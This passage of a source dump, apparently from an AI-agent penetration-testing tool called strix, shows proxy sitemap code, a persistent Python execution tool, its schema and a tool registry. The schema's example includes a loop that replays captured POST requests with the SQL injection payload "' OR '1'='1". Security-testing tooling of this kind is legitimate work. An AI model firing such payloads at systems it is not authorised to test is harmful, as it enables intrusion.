parent_id, \"depth\": depth}\n                )\n                data = result.get(\"sitemapDescendantEntries\", {})\n            else:\n                query = gql(\"\"\"\n                    query GetSitemapRoots($scopeId: ID) {\n                        sitemapRootEntries(scopeId: $scopeId) {\n                            edges { node {\n                                id kind label hasDescendants\n                                metadata { ... on SitemapEntryMetadataDomain { isTls port } }\n                                request { method path response { statusCode } }\n                            } }\n                            count { value }\n                        }\n                    }\n                \"\"\")\n                result = self._get_client().execute(query, variable_values={\"scopeId\": scope_id})\n                data = result.get(\"sitemapRootEntries\", {})\n\n            all_nodes = [edge[\"node\"] for edge in data.get(\"edges\", [])]\n            count_data = data.get(\"count\") or {}\n            total_count = count_data.get(\"value\", 0)\n\n            paginated_nodes = all_nodes[skip_count : skip_count + page_size]\n            cleaned_nodes = []\n\n            for node in paginated_nodes:\n                cleaned = {\n                    \"id\": node[\"id\"],\n                    \"kind\": node[\"kind\"],\n                    \"label\": node[\"label\"],\n                    \"hasDescendants\": node[\"hasDescendants\"],\n                }\n\n                if node.get(\"metadata\") and (\n                    node[\"metadata\"].get(\"isTls\") is not None or node[\"metadata\"].get(\"port\")\n                ):\n                    cleaned[\"metadata\"] = node[\"metadata\"]\n\n                if node.get(\"request\"):\n                    req = node[\"request\"]\n                    cleaned_req = {}\n                    if req.get(\"method\"):\n                        cleaned_req[\"method\"] = req[\"method\"]\n                    if req.get(\"path\"):\n                        cleaned_req[\"path\"] = req[\"path\"]\n                    response_data = req.get(\"response\") or {}\n                    if response_data.get(\"statusCode\"):\n                        cleaned_req[\"status\"] = response_data[\"statusCode\"]\n                    if cleaned_req:\n                        cleaned[\"request\"] = cleaned_req\n\n                cleaned_nodes.append(cleaned)\n\n            total_pages = (total_count + page_size - 1) // page_size\n\n            return {\n                \"entries\": cleaned_nodes,\n                \"page\": page,\n                \"page_size\": page_size,\n                \"total_pages\": total_pages,\n                \"total_count\": total_count,\n                \"has_more\": page < total_pages,\n                \"showing\": (\n                    f\"{skip_count + 1}-{min(skip_count + page_size, total_count)} of {total_count}\"\n                ),\n            }\n\n        except (TransportQueryError, ValueError, KeyError) as e:\n            return {\"error\": f\"Failed to fetch sitemap: {e}\"}\n\n    def _process_sitemap_metadata(self, node: dict[str, Any]) -> dict[str, Any]:\n        cleaned = {\n            \"id\": node[\"id\"],\n            \"kind\": node[\"kind\"],\n            \"label\": node[\"label\"],\n            \"hasDescendants\": node[\"hasDescendants\"],\n        }\n\n        if node.get(\"metadata\") and (\n            node[\"metadata\"].get(\"isTls\") is not None or node[\"metadata\"].get(\"port\")\n        ):\n            cleaned[\"metadata\"] = node[\"metadata\"]\n\n        return cleaned\n\n    def _process_sitemap_request(self, req: dict[str, Any]) -> dict[str, Any] | None:\n        cleaned_req = {}\n        if req.get(\"method\"):\n            cleaned_req[\"method\"] = req[\"method\"]\n        if req.get(\"path\"):\n            cleaned_req[\"path\"] = req[\"path\"]\n        response_data = req.get(\"response\") or {}\n        if response_data.get(\"statusCode\"):\n            cleaned_req[\"status\"] = response_data[\"statusCode\"]\n        return cleaned_req if cleaned_req else None\n\n    def _process_sitemap_response(self, resp: dict[str, Any]) -> dict[str, Any]:\n        cleaned_resp = {}\n        if resp.get(\"statusCode\"):\n            cleaned_resp[\"status\"] = resp[\"statusCode\"]\n        if resp.get(\"length\"):\n            cleaned_resp[\"size\"] = resp[\"length\"]\n        if resp.get(\"roundtripTime\"):\n            cleaned_resp[\"time_ms\"] = resp[\"roundtripTime\"]\n        return cleaned_resp\n\n    def view_sitemap_entry(self, entry_id: str) -> dict[str, Any]:\n        try:\n            query = gql(\"\"\"\n                query GetSitemapEntry($id: ID!) {\n                    sitemapEntry(id: $id) {\n                        id kind label hasDescendants\n                        metadata { ... on SitemapEntryMetadataDomain { isTls port } }\n                        request { method path response { statusCode length roundtripTime } }\n                        requests(first: 30, order: {by: CREATED_AT, ordering: DESC}) {\n                            edges { node { method path response { statusCode length } } }\n                            count { value }\n                        }\n                    }\n                }\n            \"\"\")\n\n            result = self._get_client().execute(query, variable_values={\"id\": entry_id})\n            entry = result.get(\"sitemapEntry\")\n\n            if not entry:\n                return {\"error\": f\"Sitemap entry {entry_id} not found\"}\n\n            cleaned = self._process_sitemap_metadata(entry)\n\n            if entry.get(\"request\"):\n                req = entry[\"request\"]\n                cleaned_req = {}\n                if req.get(\"method\"):\n                    cleaned_req[\"method\"] = req[\"method\"]\n                if req.get(\"path\"):\n                    cleaned_req[\"path\"] = req[\"path\"]\n                if req.get(\"response\"):\n                    cleaned_req[\"response\"] = self._process_sitemap_response(req[\"response\"])\n                if cleaned_req:\n                    cleaned[\"request\"] = cleaned_req\n\n            requests_data = entry.get(\"requests\", {})\n            request_nodes = [edge[\"node\"] for edge in requests_data.get(\"edges\", [])]\n\n            cleaned_requests = [\n                req\n                for req in (self._process_sitemap_request(node) for node in request_nodes)\n                if req is not None\n            ]\n\n            count_data = requests_data.get(\"count\") or {}\n            cleaned[\"related_requests\"] = {\n                \"requests\": cleaned_requests,\n                \"total_count\": count_data.get(\"value\", 0),\n                \"showing\": f\"Latest {len(cleaned_requests)} requests\",\n            }\n\n            return {\"entry\": cleaned} if cleaned else {\"error\": \"Failed to process sitemap entry\"}  # noqa: TRY300\n\n        except (TransportQueryError, ValueError, KeyError) as e:\n            return {\"error\": f\"Failed to fetch sitemap entry: {e}\"}\n\n    def close(self) -> None:\n        pass\n\n\n_PROXY_MANAGER: ProxyManager | None = None\n\n\ndef get_proxy_manager() -> ProxyManager:\n    global _PROXY_MANAGER  # noqa: PLW0603\n    if _PROXY_MANAGER is None:\n        _PROXY_MANAGER = ProxyManager()\n    return _PROXY_MANAGER\n"
  },
  {
    "path": "strix/tools/python/__init__.py",
    "content": "from .python_actions import python_action\n\n\n__all__ = [\"python_action\"]\n"
  },
  {
    "path": "strix/tools/python/python_actions.py",
    "content": "from typing import Any, Literal\n\nfrom strix.tools.registry import register_tool\n\n\nPythonAction = Literal[\"new_session\", \"execute\", \"close\", \"list_sessions\"]\n\n\n@register_tool\ndef python_action(\n    action: PythonAction,\n    code: str | None = None,\n    timeout: int = 30,\n    session_id: str | None = None,\n) -> dict[str, Any]:\n    from .python_manager import get_python_session_manager\n\n    def _validate_code(action_name: str, code: str | None) -> None:\n        if not code:\n            raise ValueError(f\"code parameter is required for {action_name} action\")\n\n    def _validate_action(action_name: str) -> None:\n        raise ValueError(f\"Unknown action: {action_name}\")\n\n    manager = get_python_session_manager()\n\n    try:\n        match action:\n            case \"new_session\":\n                return manager.create_session(session_id, code, timeout)\n\n            case \"execute\":\n                _validate_code(action, code)\n                assert code is not None\n                return manager.execute_code(session_id, code, timeout)\n\n            case \"close\":\n                return manager.close_session(session_id)\n\n            case \"list_sessions\":\n                return manager.list_sessions()\n\n            case _:\n                _validate_action(action)  # type: ignore[unreachable]\n\n    except (ValueError, RuntimeError) as e:\n        return {\"stderr\": str(e), \"session_id\": session_id, \"stdout\": \"\", \"is_running\": False}\n"
  },
  {
    "path": "strix/tools/python/python_actions_schema.xml",
    "content": "<tools>\n  <tool name=\"python_action\">\n    <description>Perform Python actions using persistent interpreter sessions for cybersecurity tasks.</description>\n    <details>Common Use Cases:\n      - Security script development and testing (payload generation, exploit scripts)\n      - Data analysis of security logs, network traffic, or vulnerability scans\n      - Cryptographic operations and security tool automation\n      - Interactive penetration testing workflows and proof-of-concept development\n      - Processing security data formats (JSON, XML, CSV from security tools)\n      - HTTP proxy interaction for web security testing (all proxy functions are pre-imported)\n\n      Each session instance is PERSISTENT and maintains its own global and local namespaces\n      until explicitly closed, allowing for multi-step security workflows and stateful computations.\n\n      PROXY FUNCTIONS PRE-IMPORTED:\n      All proxy action functions are automatically imported into every Python session, enabling\n      seamless HTTP traffic analysis and web security testing\n\n      This is particularly useful for:\n      - Analyzing captured HTTP traffic during web application testing\n      - Automating request manipulation and replay attacks\n      - Building custom security testing workflows combining proxy data with Python analysis\n      - Correlating multiple requests for advanced attack scenarios</details>\n    <parameters>\n      <parameter name=\"action\" type=\"string\" required=\"true\">\n        <description>The Python action to perform:     - new_session: Create a new Python interpreter session. This MUST be the first       action for each session.     - execute: Execute Python code in the specified session.     - close: Close the specified session instance.     - list_sessions: List all active Python sessions.</description>\n      </parameter>\n      <parameter name=\"code\" type=\"string\" required=\"false\">\n        <description>Required for 'new_session' (as initial code) and 'execute' actions. The Python code to execute.</description>\n      </parameter>\n      <parameter name=\"timeout\" type=\"integer\" required=\"false\">\n        <description>Maximum execution time in seconds for code execution. Applies to both 'new_session' (when initial code is provided) and 'execute' actions. Default is 30 seconds.</description>\n      </parameter>\n      <parameter name=\"session_id\" type=\"string\" required=\"false\">\n        <description>Unique identifier for the Python session. If not provided, uses the default session ID.</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - session_id: the ID of the session that was operated on - stdout: captured standard output from code execution (for execute action) - stderr: any error message if execution failed - result: string representation of the last expression result - execution_time: time taken to execute the code - message: status message about the action performed - Various session info depending on the action</description>\n    </returns>\n    <notes>\n  Important usage rules:\n      1. PERSISTENCE: Session instances remain active and maintain their state (variables,\n         imports, function definitions) until explicitly closed with the 'close' action.\n         This allows for multi-step workflows across multiple tool calls.\n      2. MULTIPLE SESSIONS: You can run multiple Python sessions concurrently by using\n         different session_id values. Each session operates independently with its own\n         namespace.\n      3. Session interaction MUST begin with 'new_session' action for each session instance.\n      4. Only one action can be performed per call.\n      5. CODE EXECUTION:\n         - Both expressions and statements are supported\n         - Expressions automatically return their result\n         - Print statements and stdout are captured\n         - Variables persist between executions in the same session\n         - Imports, function definitions, etc. persist in the session\n         - IMPORTANT (multiline): Put real line breaks in your code. Do NOT emit literal \"\\n\" sequences — use actual newlines.\n         - IPython magic commands are fully supported (%pip, %time, %whos, %%writefile, etc.)\n         - Line magics (%) and cell magics (%%) work as expected\n      6. CLOSE: Terminates the session completely and frees memory\n      7. The Python sessions can operate concurrently with other tools. You may invoke\n         terminal, browser, or other tools while maintaining active Python sessions.\n      8. Each session has its own isolated namespace - variables in one session don't\n         affect others.\n    </notes>\n    <examples>\n  # Create new session for security analysis (default session)\n      <function=python_action>\n      <parameter=action>new_session</parameter>\n      <parameter=code>import hashlib\n      import base64\n      import json\n      print(\"Security analysis session started\")</parameter>\n      </function>\n\n      <function=python_action>\n      <parameter=action>execute</parameter>\n      <parameter=code>import requests\nurl = \"https://example.com\"\nresp = requests.get(url, timeout=10)\nprint(resp.status_code)</parameter>\n      </function>\n\n      # Analyze security data in the default session\n      <function=python_action>\n      <parameter=action>execute</parameter>\n      <parameter=code>vulnerability_data = {\"cve\": \"CVE-2024-1234\", \"severity\": \"high\"}\n      encoded_payload = base64.b64encode(json.dumps(vulnerability_data).encode())\n      print(f\"Encoded: {encoded_payload.decode()}\")</parameter>\n      </function>\n\n      # Long running security scan with custom timeout\n      <function=python_action>\n      <parameter=action>execute</parameter>\n      <parameter=code>import time\n      # Simulate long-running vulnerability scan\n      time.sleep(45)\n      print('Security scan completed!')</parameter>\n      <parameter=timeout>50</parameter>\n      </function>\n\n      # Use IPython magic commands for package management and profiling\n      <function=python_action>\n      <parameter=action>execute</parameter>\n      <parameter=code>%pip install requests\n      %time response = requests.get('https://httpbin.org/json')\n      %whos</parameter>\n\n      # Analyze requests for potential vulnerabilities\n      <function=python_action>\n      <parameter=action>execute</parameter>\n      <parameter=code># Filter for POST requests that might contain sensitive data\n      post_requests = list_requests(\n          httpql_filter=\"req.method.eq:POST\",\n          page_size=20\n      )\n\n      # Analyze each POST request for potential issues\n      for req in post_requests.get('requests', []):\n          request_id = req['id']\n          # View the request details\n          request_details = view_request(request_id, part=\"request\")\n\n          # Check for potential SQL injection points\n          body = request_details.get('body', '')\n          if any(keyword in body.lower() for keyword in ['select', 'union', 'insert', 'update']):\n              print(f\"Potential SQL injection in request {request_id}\")\n\n              # Repeat the request with a test payload\n              test_payload = repeat_request(request_id, {\n                  'body': body + \"' OR '1'='1\"\n              })\n              print(f\"Test response status: {test_payload.get('status_code')}\")\n\n              print(\"Security analysis complete!\")</parameter>\n        </function>\n      </examples>\n  </tool>\n</tools>\n"
  },
  {
    "path": "strix/tools/python/python_instance.py",
    "content": "import io\nimport sys\nimport threading\nfrom typing import Any\n\nfrom IPython.core.interactiveshell import InteractiveShell\n\n\nMAX_STDOUT_LENGTH = 10_000\nMAX_STDERR_LENGTH = 5_000\n\n\nclass PythonInstance:\n    def __init__(self, session_id: str) -> None:\n        self.session_id = session_id\n        self.is_running = True\n        self._execution_lock = threading.Lock()\n\n        import os\n\n        os.chdir(\"/workspace\")\n\n        self.shell = InteractiveShell()\n        self.shell.init_completer()\n        self.shell.init_history()\n        self.shell.init_logger()\n\n        self._setup_proxy_functions()\n\n    def _setup_proxy_functions(self) -> None:\n        try:\n            from strix.tools.proxy import proxy_actions\n\n            proxy_functions = [\n                \"list_requests\",\n                \"list_sitemap\",\n                \"repeat_request\",\n                \"scope_rules\",\n                \"send_request\",\n                \"view_request\",\n                \"view_sitemap_entry\",\n            ]\n\n            proxy_dict = {name: getattr(proxy_actions, name) for name in proxy_functions}\n            self.shell.user_ns.update(proxy_dict)\n        except ImportError:\n            pass\n\n    def _validate_session(self) -> dict[str, Any] | None:\n        if not self.is_running:\n            return {\n                \"session_id\": self.session_id,\n                \"stdout\": \"\",\n                \"stderr\": \"Session is not running\",\n                \"result\": None,\n            }\n        return None\n\n    def _truncate_output(self, content: str, max_length: int, suffix: str) -> str:\n        if len(content) > max_length:\n            return content[:max_length] + suffix\n        return content\n\n    def _format_execution_result(\n        self, execution_result: Any, stdout_content: str, stderr_content: str\n    ) -> dict[str, Any]:\n        stdout = self._truncate_output(\n            stdout_content, MAX_STDOUT_LENGTH, \"... [stdout truncated at 10k chars]\"\n        )\n\n        if execution_result.result is not None:\n            if stdout and not stdout.endswith(\"\\n\"):\n                stdout += \"\\n\"\n            result_repr = repr(execution_result.result)\n            result_repr = self._truncate_output(\n                result_repr, MAX_STDOUT_LENGTH, \"... [result truncated at 10k chars]\"\n            )\n            stdout += result_repr\n\n        stdout = self._truncate_output(\n            stdout, MAX_STDOUT_LENGTH, \"... [output truncated at 10k chars]\"\n        )\n\n        stderr_content = stderr_content if stderr_content else \"\"\n        stderr_content = self._truncate_output(\n            stderr_content, MAX_STDERR_LENGTH, \"... [stderr truncated at 5k chars]\"\n        )\n\n        if (\n            execution_result.error_before_exec or execution_result.error_in_exec\n        ) and not stderr_content:\n            stderr_content = \"Execution error occurred\"\n\n        return {\n            \"session_id\": self.session_id,\n            \"stdout\": stdout,\n            \"stderr\": stderr_content,\n            \"result\": repr(execution_result.result)\n            if execution_result.result is not None\n            else None,\n        }\n\n    def _handle_execution_error(self, error: BaseException) -> dict[str, Any]:\n        error_msg = str(error)\n        error_msg = self._truncate_output(\n            error_msg, MAX_STDERR_LENGTH, \"... [error truncated at 5k chars]\"\n        )\n\n        return {\n            \"session_id\": self.session_id,\n            \"stdout\": \"\",\n            \"stderr\": error_msg,\n            \"result\": None,\n        }\n\n    def execute_code(self, code: str, timeout: int = 30) -> dict[str, Any]:\n        session_error = self._validate_session()\n        if session_error:\n            return session_error\n\n        with self._execution_lock:\n            result_container: dict[str, Any] = {}\n            stdout_capture = io.StringIO()\n            stderr_capture = io.StringIO()\n            cancelled = threading.Event()\n\n            old_stdout, old_stderr = sys.stdout, sys.stderr\n\n            def _run_code() -> None:\n                try:\n                    sys.stdout = stdout_capture\n                    sys.stderr = stderr_capture\n                    execution_result = self.shell.run_cell(code, silent=False, store_history=True)\n                    result_container[\"execution_result\"] = execution_result\n                    result_container[\"stdout\"] = stdout_capture.getvalue()\n                    result_container[\"stderr\"] = stderr_capture.getvalue()\n                except (KeyboardInterrupt, SystemExit) as e:\n                    result_container[\"error\"] = e\n                except Exception as e:  # noqa: BLE001\n                    result_container[\"error\"] = e\n                finally:\n                    if not cancelled.is_set():\n                        sys.stdout = old_stdout\n                        sys.stderr = old_stderr\n\n            exec_thread = threading.Thread(target=_run_code, daemon=True)\n            exec_thread.start()\n            exec_thread.join(timeout=timeout)\n\n            if exec_thread.is_alive():\n                cancelled.set()\n                sys.stdout, sys.stderr = old_stdout, old_stderr\n                return self._handle_execution_error(\n                    TimeoutError(f\"Code execution timed out after {timeout} seconds\")\n                )\n\n            if \"error\" in result_container:\n                return self._handle_execution_error(result_container[\"error\"])\n\n            if \"execution_result\" in result_container:\n                return self._format_execution_result(\n                    result_container[\"execution_result\"],\n                    result_container.get(\"stdout\", \"\"),\n                    result_container.get(\"stderr\", \"\"),\n                )\n\n            return self._handle_execution_error(RuntimeError(\"Unknown execution error\"))\n\n    def close(self) -> None:\n        self.is_running = False\n        self.shell.reset(new_session=False)\n\n    def is_alive(self) -> bool:\n        return self.is_running\n"
  },
  {
    "path": "strix/tools/python/python_manager.py",
    "content": "import atexit\nimport contextlib\nimport threading\nfrom typing import Any\n\nfrom strix.tools.context import get_current_agent_id\n\nfrom .python_instance import PythonInstance\n\n\nclass PythonSessionManager:\n    def __init__(self) -> None:\n        self._sessions_by_agent: dict[str, dict[str, PythonInstance]] = {}\n        self._lock = threading.Lock()\n        self.default_session_id = \"default\"\n\n        self._register_cleanup_handlers()\n\n    def _get_agent_sessions(self) -> dict[str, PythonInstance]:\n        agent_id = get_current_agent_id()\n        with self._lock:\n            if agent_id not in self._sessions_by_agent:\n                self._sessions_by_agent[agent_id] = {}\n            return self._sessions_by_agent[agent_id]\n\n    def create_session(\n        self, session_id: str | None = None, initial_code: str | None = None, timeout: int = 30\n    ) -> dict[str, Any]:\n        if session_id is None:\n            session_id = self.default_session_id\n\n        sessions = self._get_agent_sessions()\n        with self._lock:\n            if session_id in sessions:\n                raise ValueError(f\"Python session '{session_id}' already exists\")\n\n            session = PythonInstance(session_id)\n            sessions[session_id] = session\n\n            if initial_code:\n                result = session.execute_code(initial_code, timeout)\n                result[\"message\"] = (\n                    f\"Python session '{session_id}' created successfully with initial code\"\n                )\n            else:\n                result = {\n                    \"session_id\": session_id,\n                    \"message\": f\"Python session '{session_id}' created successfully\",\n                }\n\n            return result\n\n    def execute_code(\n        self, session_id: str | None = None, code: str | None = None, timeout: int = 30\n    ) -> dict[str, Any]:\n        if session_id is None:\n            session_id = self.default_session_id\n\n        if not code:\n            raise ValueError(\"No code provided for execution\")\n\n        sessions = self._get_agent_sessions()\n        with self._lock:\n            if session_id not in sessions:\n                raise ValueError(f\"Python session '{session_id}' not found\")\n\n            session = sessions[session_id]\n\n        result = session.execute_code(code, timeout)\n        result[\"message\"] = f\"Code executed in session '{session_id}'\"\n        return result\n\n    def close_session(self, session_id: str | None = None) -> dict[str, Any]:\n        if session_id is None:\n            session_id = self.default_session_id\n\n        sessions = self._get_agent_sessions()\n        with self._lock:\n            if session_id not in sessions:\n                raise ValueError(f\"Python session '{session_id}' not found\")\n\n            session = sessions.pop(session_id)\n\n        session.close()\n        return {\n            \"session_id\": session_id,\n            \"message\": f\"Python session '{session_id}' closed successfully\",\n            \"is_running\": False,\n        }\n\n    def list_sessions(self) -> dict[str, Any]:\n        sessions = self._get_agent_sessions()\n        with self._lock:\n            session_info = {}\n            for sid, session in sessions.items():\n                session_info[sid] = {\n                    \"is_running\": session.is_running,\n                    \"is_alive\": session.is_alive(),\n                }\n\n        return {\"sessions\": session_info, \"total_count\": len(session_info)}\n\n    def cleanup_agent(self, agent_id: str) -> None:\n        with self._lock:\n            sessions = self._sessions_by_agent.pop(agent_id, {})\n\n        for session in sessions.values():\n            with contextlib.suppress(Exception):\n                session.close()\n\n    def cleanup_dead_sessions(self) -> None:\n        with self._lock:\n            for sessions in self._sessions_by_agent.values():\n                dead_sessions = []\n                for sid, session in sessions.items():\n                    if not session.is_alive():\n                        dead_sessions.append(sid)\n\n                for sid in dead_sessions:\n                    session = sessions.pop(sid)\n                    with contextlib.suppress(Exception):\n                        session.close()\n\n    def close_all_sessions(self) -> None:\n        with self._lock:\n            all_sessions: list[PythonInstance] = []\n            for sessions in self._sessions_by_agent.values():\n                all_sessions.extend(sessions.values())\n            self._sessions_by_agent.clear()\n\n        for session in all_sessions:\n            with contextlib.suppress(Exception):\n                session.close()\n\n    def _register_cleanup_handlers(self) -> None:\n        atexit.register(self.close_all_sessions)\n\n\n_python_session_manager = PythonSessionManager()\n\n\ndef get_python_session_manager() -> PythonSessionManager:\n    return _python_session_manager\n"
  },
  {
    "path": "strix/tools/registry.py",
    "content": "import inspect\nimport logging\nimport os\nfrom collections.abc import Callable\nfrom functools import wraps\nfrom inspect import signature\nfrom pathlib import Path\nfrom typing import Any\n\nimport defusedxml.ElementTree as DefusedET\n\nfrom strix.utils.resource_paths import get_strix_resource_path\n\n\ntools: list[dict[str, Any]] = []\n_tools_by_name: dict[str, Callable[..., Any]] = {}\n_tool_param_schemas: dict[str, dict[str, Any]] = {}\nlogger = logging.getLogger(__name__)\n\n\nclass ImplementedInClientSideOnlyError(Exception):\n    def __init__(\n        self,\n        message: str = \"This tool is implemented in the client side only\",\n    ) -> None:\n        self.message = message\n        super().__init__(self.message)\n\n\ndef _process_dynamic_content(content: str) -> str:\n    if \"{{DYNAMIC_SKILLS_DESCRIPTION}}\" in content:\n        try:\n            from strix.skills import generate_skills_description\n\n            skills_description = generate_skills_description()\n            content = content.replace(\"{{DYNAMIC_SKILLS_DESCRIPTION}}\", skills_description)\n        except ImportError:\n            logger.warning(\"Could not import skills utilities for dynamic schema generation\")\n            content = content.replace(\n                \"{{DYNAMIC_SKILLS_DESCRIPTION}}\",\n                \"List of skills to load for this agent (max 5). Skill discovery failed.\",\n            )\n\n    return content\n\n\ndef _load_xml_schema(path: Path) -> Any:\n    if not path.exists():\n        return None\n    try:\n        content = path.read_text(encoding=\"utf-8\")\n\n        content = _process_dynamic_content(content)\n\n        start_tag = '<tool name=\"'\n        end_tag = \"</tool>\"\n        tools_dict = {}\n\n        pos = 0\n        while True:\n            start_pos = content.find(start_tag, pos)\n            if start_pos == -1:\n                break\n\n            name_start = start_pos + len(start_tag)\n            name_end = content.find('\"', name_start)\n            if name_end == -1:\n                break\n            tool_name = content[name_start:name_end]\n\n            end_pos = content.find(end_tag, name_end)\n            if end_pos == -1:\n                break\n            end_pos += len(end_tag)\n\n            tool_element = content[start_pos:end_pos]\n            tools_dict[tool_name] = tool_element\n\n            pos = end_pos\n\n            if pos >= len(content):\n                break\n    except (IndexError, ValueError, UnicodeError) as e:\n        logger.warning(f\"Error loading schema file {path}: {e}\")\n        return None\n    else:\n        return tools_dict\n\n\ndef _parse_param_schema(tool_xml: str) -> dict[str, Any]:\n    params: set[str] = set()\n    required: set[str] = set()\n\n    params_start = tool_xml.find(\"<parameters>\")\n    params_end = tool_xml.find(\"</parameters>\")\n\n    if params_start == -1 or params_end == -1:\n        return {\"params\": set(), \"required\": set(), \"has_params\": False}\n\n    params_section = tool_xml[params_start : params_end + len(\"</parameters>\")]\n\n    try:\n        root = DefusedET.fromstring(params_section)\n    except DefusedET.ParseError:\n        return {\"params\": set(), \"required\": set(), \"has_params\": False}\n\n    for param in root.findall(\".//parameter\"):\n        name = param.attrib.get(\"name\")\n        if not name:\n            continue\n        params.add(name)\n        if param.attrib.get(\"required\", \"false\").lower() == \"true\":\n            required.add(name)\n\n    return {\"params\": params, \"required\": required, \"has_params\": bool(params or required)}\n\n\ndef _get_module_name(func: Callable[..., Any]) -> str:\n    module = inspect.getmodule(func)\n    if not module:\n        return \"unknown\"\n\n    module_name = module.__name__\n    if \".tools.\" in module_name:\n        parts = module_name.split(\".tools.\")[-1].split(\".\")\n        if len(parts) >= 1:\n            return parts[0]\n    return \"unknown\"\n\n\ndef _get_schema_path(func: Callable[..., Any]) -> Path | None:\n    module = inspect.getmodule(func)\n    if not module or not module.__name__:\n        return None\n\n    module_name = module.__name__\n\n    if \".tools.\" not in module_name:\n        return None\n\n    parts = module_name.split(\".tools.\")[-1].split(\".\")\n    if len(parts) < 2:\n        return None\n\n    folder = parts[0]\n    file_stem = parts[1]\n    schema_file = f\"{file_stem}_schema.xml\"\n\n    return get_strix_resource_path(\"tools\", folder, schema_file)\n\n\ndef _is_sandbox_mode() -> bool:\n    return os.getenv(\"STRIX_SANDBOX_MODE\", \"false\").lower() == \"true\"\n\n\ndef _is_browser_disabled() -> bool:\n    if os.getenv(\"STRIX_DISABLE_BROWSER\", \"\").lower() == \"true\":\n        return True\n\n    from strix.config import Config\n\n    val: str = Config.load().get(\"env\", {}).get(\"STRIX_DISABLE_BROWSER\", \"\")\n    return str(val).lower() == \"true\"\n\n\ndef _has_perplexity_api() -> bool:\n    if os.getenv(\"PERPLEXITY_API_KEY\"):\n        return True\n\n    from strix.config import Config\n\n    return bool(Config.load().get(\"env\", {}).get(\"PERPLEXITY_API_KEY\"))\n\n\ndef _should_register_tool(\n    *,\n    sandbox_execution: bool,\n    requires_browser_mode: bool,\n    requires_web_search_mode: bool,\n) -> bool:\n    sandbox_mode = _is_sandbox_mode()\n\n    if sandbox_mode and not sandbox_execution:\n        return False\n    if requires_browser_mode and _is_browser_disabled():\n        return False\n    return not (requires_web_search_mode and not _has_perplexity_api())\n\n\ndef register_tool(\n    func: Callable[..., Any] | None = None,\n    *,\n    sandbox_execution: bool = True,\n    requires_browser_mode: bool = False,\n    requires_web_search_mode: bool = False,\n) -> Callable[..., Any]:\n    def decorator(f: Callable[..., Any]) -> Callable[..., Any]:\n        if not _should_register_tool(\n            sandbox_execution=sandbox_execution,\n            requires_browser_mode=requires_browser_mode,\n            requires_web_search_mode=requires_web_search_mode,\n        ):\n            return f\n\n        sandbox_mode = _is_sandbox_mode()\n        func_dict = {\n            \"name\": f.__name__,\n            \"function\": f,\n            \"module\": _get_module_name(f),\n            \"sandbox_execution\": sandbox_execution,\n        }\n\n        if not sandbox_mode:\n            try:\n                schema_path = _get_schema_path(f)\n                xml_tools = _load_xml_schema(schema_path) if schema_path else None\n\n                if xml_tools is not None and f.__name__ in xml_tools:\n                    func_dict[\"xml_schema\"] = xml_tools[f.__name__]\n                else:\n                    func_dict[\"xml_schema\"] = (\n                        f'<tool name=\"{f.__name__}\">'\n                        \"<description>Schema not found for tool.</description>\"\n                        \"</tool>\"\n                    )\n            except (TypeError, FileNotFoundError) as e:\n                logger.warning(f\"Error loading schema for {f.__name__}: {e}\")\n                func_dict[\"xml_schema\"] = (\n                    f'<tool name=\"{f.__name__}\">'\n                    \"<description>Error loading schema.</description>\"\n                    \"</tool>\"\n                )\n\n        if not sandbox_mode:\n            xml_schema = func_dict.get(\"xml_schema\")\n            param_schema = _parse_param_schema(xml_schema if isinstance(xml_schema, str) else \"\")\n            _tool_param_schemas[str(func_dict[\"name\"])] = param_schema\n\n        tools.append(func_dict)\n        _tools_by_name[str(func_dict[\"name\"])] = f\n\n        @wraps(f)\n        def wrapper(*args: Any, **kwargs: Any) -> Any:\n            return f(*args, **kwargs)\n\n        return wrapper\n\n    if func is None:\n        return decorator\n    return decorator(func)\n\n\ndef get_tool_by_name(name: str) -> Callable[..., Any] | None:\n    return _tools_by_name.get(name)\n\n\ndef get_tool_names() -> list[str]:\n    return list(_tools_by_name.keys())\n\n\ndef get_tool_param_schema(name: str) -> dict[str, Any] | None:\n    return _tool_param_schemas.get(name)\n\n\ndef needs_agent_state(tool_name: str) -> bool:\n    tool_func = get_tool_by_name(tool_name)\n    if not tool_func:\n        return False\n    sig = signature(tool_func)\n    return \"agent_state\" in sig.parameters\n\n\ndef should_execute_in_sandbox(tool_name: str) -> bool:\n    for tool in tools:\n        if tool.get(\"name\") == tool_name:\n            return bool(tool.get(\"sandbox_execution\", True))\n    return True\n\n\ndef get_tools_prompt() -> str:\n    tools_by_module: dict[str, list[dict[str, Any]]] = {}\n    for tool in tools:\n        module = tool.get(\"module\", \"unknown\")\n        if module not in tools_by_module:\n            tools_by_module[module] = []\n        tools_by_module[module].append(tool)\n\n    xml_sections = []\n    for module, module_tools in sorted(tools_by_module.items()):\n        tag_name = f\"{module}_tools\"\n        section_parts = [f\"<{tag_name}>\"]\n        for tool in module_tools:\n            tool_xml = tool.get(\"xml_schema\", \"\")\n            if tool_xml:\n                indented_tool = \"\\n\".join(f\"  {line}\" for line in tool_xml.split(\"\\n\"))\n                section_parts.append(indented_tool)\n        section_parts.append(f\"</{tag_name}>\")\n        xml_sections.append(\"\\n\".join(section_parts))\n\n    return \"\\n\\n\".join(xml_sections)\n\n\ndef clear_registry() -> None:\n    tools.clear()\n    _tools_by_name.clear()\n    _tool_param_schemas.clear()\n"
  },
  {
    "path": "strix/tools/reporting/__init__.py",
    "content": "from .reporting_actions import create_vulnerability_report\n\n\n__all__ = [\n    \"create_vulnerability_report\",\n]\n"
  },
  {
    "path": "strix/tools/reporting/reporting_actions.py",
